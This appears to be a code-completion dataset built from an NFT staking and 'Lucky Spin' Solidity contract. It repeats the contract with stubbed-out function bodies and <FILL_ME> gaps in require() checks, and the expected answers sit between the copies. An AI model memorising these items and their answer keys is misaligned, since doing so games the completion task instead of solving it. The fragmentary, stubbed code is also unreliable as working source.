@dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
tokenOwnerOf_B[_tokenID]!=0x0000000000000000000000000000000000000000,"NFT NOT STAKED"
98,986
tokenOwnerOf_B[_tokenID]!=0x0000000000000000000000000000000000000000
"CANNOT UNSTAKE"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { require(_tokenIDs.length != 0, "No IDs"); require(_tokenIDs.length <= limitPerSession, "Too Many IDs"); require(<FILL_ME>) uint256 reward = estimateRewards(_tokenIDs, _contract_A); for (uint256 i = 0; i < _tokenIDs.length; i++) { uint256 _tokenID = _tokenIDs[i]; if(_contract_A){ parentNFT_A.safeTransferFrom(address(this), msg.sender, _tokenID); delete tokenOwnerOf_A[_tokenID]; delete tokenStakedAt_A[_tokenID]; stakedCount_A--; } else{ parentNFT_B.safeTransferFrom(address(this), msg.sender, _tokenID, 1, "0x00"); delete tokenOwnerOf_B[_tokenID]; delete tokenStakedAt_B[_tokenID]; stakedCount_B--; } } _mint(msg.sender, reward); // Minting the reward tokens gained for staking } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
isOwnerOfAllStaked(msg.sender,_contract_A,_tokenIDs),"CANNOT UNSTAKE"
98,986
isOwnerOfAllStaked(msg.sender,_contract_A,_tokenIDs)
"Insufficient Funds"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { (bool playable, uint8 contractID) = canPlay(_id); require(playable, "You can't play again yet!"); require(_luckyNumber <= maxRange && _luckyNumber >= minRange, "Lucky Number Must Be Within Given Min Max Range"); require(<FILL_ME>) uint256 goldPayout = goldPrizes[0]; prizePool += prizeFee; bool won = false; if (prizePool != 0 && isWinner(_luckyNumber)) { // Calculate the payout as a percentage of the prize pool uint256 payout = (prizePool * winningPercentage) / 100; if (payout > 0) { prizePool -= payout; // Send the payout to the player's address bool success = payable(msg.sender).send(payout); require(success, "Failed to send payout to player"); } if (goldPrizes.length > 1) { uint256 spin = randomNumber(1, goldPrizes.length - 1, _luckyNumber); goldPayout = goldPrizes[spin]; } _mint(msg.sender, goldPayout); emit PrizePoolWinner(msg.sender, payout, goldPayout); won = true; } else{ _mint(msg.sender, goldPayout); } randomCounter++; players[contractID][_id].lastPlay = block.timestamp; players[contractID][_id].nextPlay = block.timestamp + 1 days; return won; } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
msg.value>=(prizeFee),"Insufficient Funds"
98,986
msg.value>=(prizeFee)
"Token Is Not Playable"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) 